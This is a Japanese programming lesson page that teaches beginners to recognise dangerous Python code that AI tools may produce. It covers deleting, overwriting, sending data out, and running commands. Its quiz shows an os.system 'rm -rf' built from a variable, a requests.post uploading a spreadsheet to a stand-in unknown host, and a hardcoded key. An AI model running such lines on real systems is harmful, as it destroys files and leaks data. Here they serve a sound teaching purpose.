LEVEL 10 ・ AI × Python / Lesson 27

危険なコードの見分け方

削除・上書き・外部への送信など、危険なサインを、安全な仮想フォルダで体験しながら学びます。

目安 20分 ・ インストール不要

このレッスンが終わったら

「消す・上書きする・外へ送る・コマンドを実行する、の4つが出たら立ち止まる。読めないコードは実行しない」と言える。

STEP 1

できることを見る

AIは、とても便利ですが、**間違うことがあります。**そして、コードの間違いは、大事なファイルを消したり、上書きしたりする、取り返しのつかない事故につながることがあります。

今回は、危険なコードの見分け方を学びます。安全のために、このページの中の仮想フォルダで、わざと危険なコードを動かしてみましょう。(あなたのパソコンのファイルは、無事です)

STEP 2

動かしてみる

AIが「不要なフォルダを整理します」と言って書いた、という想定のコードです。shutil.rmtree という行が、フォルダごと全部消す命令です。

フォルダを消すコードを、実行してみるサンプルファイル付き・書き換えOK
Ctrl / ⌘ + Enter でも実行

この欄では、サンプルファイルが使えます。実行のたびに、ファイルは最初の状態に戻ります。

結果
▶ 実行を押すと、ここに結果が出ます

請求書のフォルダが、中身ごと、一瞬で消えました。「ごみ箱」には、入りません。自分のパソコンで、本物のフォルダに対して実行したら、元に戻せません。

STEP 3

1行ずつ読む

危険なコードには、**よく出る「サイン」**があります。見つけたら、実行する前に立ち止まります。

サインなぜ危ない?どうする?
shutil.rmtree / os.remove / .unlink()ファイルやフォルダを、削除する何を消すのか、対象のパスを確認。まず、表示だけで試す
open(..., "w") で、元のファイルを開く中身が全部消えて、上書きされる保存先が、別の名前になっているか確認
os.system / subprocessパソコンに、直接コマンドを送る理由が分からなければ、実行しない
eval / exec文字を、そのままコードとして実行する使わない形に、書き直してもらう
requests.post(...)データを、外部のサーバーに送る送り先のURLと、送る中身を確認。知らない先なら、実行しない
API_KEY = "sk-..."キー(合鍵)が、コードに丸見え環境変数に置く。コードを共有しない
pip install 見慣れない名前怪しい部品を、取り込む名前を、検索して、本物か確認する
STEP 4

1か所だけ変える

次のコードは、「集計結果を、保存します」というものです。ところが、保存先が、元のファイルになっています。

元のファイルに、上書きしてしまう例サンプルファイル付き・書き換えOK
Ctrl / ⌘ + Enter でも実行

この欄では、サンプルファイルが使えます。実行のたびに、ファイルは最初の状態に戻ります。

結果
▶ 実行を押すと、ここに結果が出ます

元の売上データ(7行)は、たった2行の集計結果に置き換わりました。 "w" は、すでにあるファイルを、全部消して書き直すためです。

STEP 5

自分で書く

お題① さきほどの、元のファイルを上書きするコードを、安全に書き直してください。保存先を summary.csv に変えると、元の sales.csv は無事で、行数は 7行 のままです。

お題①:安全な保存先に直すサンプルファイル付き・書き換えOK
Ctrl / ⌘ + Enter でも実行

この欄では、サンプルファイルが使えます。実行のたびに、ファイルは最初の状態に戻ります。

結果
▶ 実行を押すと、ここに結果が出ます
ヒントを見る

1つ目の open の、ファイル名を、"sales.csv" から "summary.csv" に変えます。(2つ目の open は、元のファイルを読んで確かめるので、そのままです)

答えの例を見る
with open("summary.csv", "w", encoding="utf-8") as f:
  f.write("部署,合計\n営業,1110000\n")

with open("sales.csv", encoding="utf-8") as f:
  print(len(f.readlines()))

お題②(見つけてみよう) 次の3つのコードのうち、どこが危ないでしょうか。

# A
import os
os.system("rm -rf " + folder_name)

# B
import requests
requests.post("http://unknown-site.example/upload", files={"f": open("sales.xlsx", "rb")})

# C
API_KEY = "sk-abc123-secret"
答えを見る
  • A: パソコンに、直接「削除」のコマンドを送っています。folder_name の中身によっては、大事なフォルダを全部消す可能性があります。
  • B: **売上のExcelを、知らないサーバーに、送っています。**情報漏えいです。実行してはいけません。
  • C: **キー(合鍵)が、コードに直接書かれています。**コードを人に見せたり、AIに貼ったりすると、漏れます。
STEP 6

仕事ならどう使う?